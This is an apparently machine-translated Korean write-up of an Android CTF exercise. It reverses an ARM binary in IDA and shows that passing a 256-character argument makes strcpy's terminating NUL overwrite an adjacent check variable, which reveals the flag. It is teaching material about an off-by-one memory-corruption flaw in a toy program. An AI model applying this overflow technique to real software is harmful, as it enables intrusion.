하나씩 끄기 [Android Internals CTF Ex8]

가져오기executable here

지침


  • 프로그램에 올바른 인수를 지정하면 플래그가 인쇄됩니다.
  • 암호 해독 기능을 되돌리거나 프로그램을 수정하지 마십시오.

  • 의 시작하자



    어떤 파일인지 살펴보겠습니다.

    ┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/offByOne]
    └─$ file a.out
    a.out: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, with debug_info, not stripped
    


    arm 파일이므로 Android 기기에 푸시해 보겠습니다.

    ──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/offByOne]
    └─$ adb push a.out /data/local/tmp
    * daemon not running; starting now at tcp:5037
    * daemon started successfully
    a.out: 1 file pushed. 0.2 MB/s (3392956 bytes in 13.310s)
    
    


    다음으로 Android 기기에서 실행해 보세요.

    126|root@hammerhead:/data/local/tmp # chmod +x a.out
    root@hammerhead:/data/local/tmp # ./a.out
    usage: ./a.out <argument>
    


    인수가 필요합니다. 나는 짧고 긴 논쟁을 계속했다.

    root@hammerhead:/data/local/tmp # ./a.out aaaa
    You failed :(
    root@hammerhead:/data/local/tmp # /a.out aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa                             
    You failed :(
    
    


    둘 다 실패로 이어졌습니다.

    다음으로 IDA 를 사용하여 정적 분석을 수행해 보겠습니다.



    아주 작은 프로그램처럼 보입니다. 그럼 처음부터 반전을 시작합시다.

    정적 분석을 수행할 때 각 코드 블록에 대해 많은 주석을 넣는 것이 가장 좋습니다.

    더 명확할 수 있으므로 IDA 보기와 nasm markdown 보기를 모두 표시할 것입니다.
    main 함수의 시작 부분을 살펴보겠습니다.


    ; int __cdecl main(int argc, const char **argv, const char **envp)
    EXPORT main
    main
    
    var_124= -0x124
    var_120= -0x120
    var_11C= -0x11C
    var_115= -0x115
    var_15= -0x15
    var_14= -0x14
    var_10= -0x10
    var_C= -0xC
    
    PUSH            {R4,R5,R11,LR}
    ADD             R11, SP, #8
    SUB             SP, SP, #0x120
    MOV             R2, #0
    STR             R2, [R11,#var_C]
    STR             R0, [R11,#var_10]
    STR             R1, [R11,#var_14]
    LDR             R0, [R11,#var_10]
    CMP             R0, #2
    BGE             loc_857C
    


    우리는 알고,R0 - argc를 나타냅니다.R1 - argv를 나타냅니다.R2 - envp를 나타냅니다.

    따라서 변수의 이름을 바꾸고 주석을 추가하겠습니다. 위의 코드 블록은 이제 다음과 같습니다.

    ; Attributes: bp-based frame
    
    ; int __cdecl main(int argc, const char **argv, const char **envp)
    EXPORT main
    main
    
    var_124= -0x124
    var_120= -0x120
    var_11C= -0x11C
    var_115= -0x115
    var_15= -0x15
    argv= -0x14
    argc= -0x10
    envp= -0xC
    
    PUSH            {R4,R5,R11,LR}
    ADD             R11, SP, #8
    SUB             SP, SP, #0x120
    MOV             R2, #0
    STR             R2, [R11,#envp]
    STR             R0, [R11,#argc]
    STR             R1, [R11,#argv]
    LDR             R0, [R11,#argc]
    CMP             R0, #2  ; Checking if argc is >=2
    BGE             loc_857C
    



    인수를 넣었는지 여부에 따라 분기하기 때문에 우리의 경우에는 1 인수를 제공하여 argc count 2 를 만듭니다. 따라서 프로그램은 오른쪽으로 분기됩니다.

    오른쪽 블록을 살펴보겠습니다.



    loc_857C
    LDR             R0, =(byte_6325B - 0x8588)
    ADD             R0, PC, R0 ; byte_6325B
    LDRB            R0, [R0]
    STRB            R0, [R11,#var_15]
    LDR             R0, [R11,#argv]
    LDR             R0, [R0,#4] ; s
    BL              strlen
    CMP             R0, #0x100
    BLS             loc_85BC
    


    그것을 뒤집으면,

    This code executes when there are atleast 1 cmd line argument
    
    loc_857C
    LDR             R0, =(byte_6325B - 0x8588)
    ADD             R0, PC, R0 ; byte_6325B
    LDRB            R0, [R0]
    STRB            R0, [R11,#var_15]
    LDR             R0, [R11,#argv] ;
                            ; The below line gets the first argument
    LDR             R0, [R0,#4] ; s
    BL              strlen  ; gets the first argument and performs a strlen on it
    CMP             R0, #0x100 ; Length of the first argument is compared against 256
    BLS             loc_85BC ; Branch to the right if LOWER OR SAME than 256
    




    왼쪽 블록의 코드를 보면 Length higher than 256 is not allowed 입니다. 길이가 256이면 어떻게 됩니까? 엣지 케이스를 테스트해야 합니다.

    이제 오른쪽 블록을 살펴보겠습니다.



    loc_85BC
    ADD             R0, SP, #0x128+var_115
    LDR             R1, [R11,#argv]
    LDR             R1, [R1,#4]
    BL              strcpy
    LDRB            R1, [R11,#var_15]
    CMP             R1, #0
    BNE             loc_8604
    


    그것을 뒤집으면,

    Copies the first argument to the destination buffer
    
    loc_85BC                ; dest to strcpy
    ADD             R0, SP, #0x128+destBuffer
    LDR             R1, [R11,#argv]
    LDR             R1, [R1,#4] ; LOAD THE FIRST ARGUMENT as src to strcpy
    BL              strcpy
    LDRB            R1, [R11,#var_15]
    CMP             R1, #0
    BNE             loc_8604 ; if R1 is zero, we will get the flag!
    




    R1이 Not Equal ~ 0 인 경우 오른쪽으로 실패한다는 것을 알 수 있습니다. 따라서 플래그를 얻으려면 R1이 0이어야 합니다.

    R1은 스택 변수var_15에서 값을 가져옵니다.var_15readonly라는 이름의 =(byte_6325B - 0x8588) 메모리 위치에서 이전 블록의 값을 가져옵니다.
    .rodata에 무엇이 포함되어 있는지 보기 위해 마우스를 올려 봅시다.



    단순히 숫자 1 를 포함합니다.

    따라서 우리는 var_15가 숫자 1를 포함한다는 것을 알고 있지만 플래그를 얻으려면 어떻게든 숫자를 0로 만들어야 합니다.

    변수의 스택 위치, 바로 메인 시작 부분을 살펴보겠습니다.



    우리가 살펴본 코드는 최대 256바이트를 쓸 수 있으며 두 변수는 서로 정확히 256바이트입니다. 따라서 var_15 로 재정의하려면 최소 257자가 필요합니다. 또한 플래그를 가져오려면 재정의하는 문자var_15가 0이어야 합니다.

    여기서 결함은 strcpy에 의존합니다. 256자를 전달하면 strcpy는 256자를 모두 buffer에 복사하고 NULL , \0 를 다음 위치인 257번째 위치에 추가하여 문자열을 종료합니다. 이 257번째 위치는 우리의 var_15 입니다.

    따라서 호스트 시스템에서 파이썬을 사용하여 길이가 256 인 문자열을 빠르게 생성할 수 있습니다.

    ┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/offByOne]
    └─$ python -c 'print "a"*256'                            
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    


    그런 다음 이 문자열을 Android에 복사할 수 있습니다.

    root@hammerhead:/data/local/tmp # ./a.out aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    
    You did it!
    The flag is: "off_by_one"
    
    
    


    그리고 우리는 깃발을 얻었습니다.

    좋은 웹페이지 즐겨찾기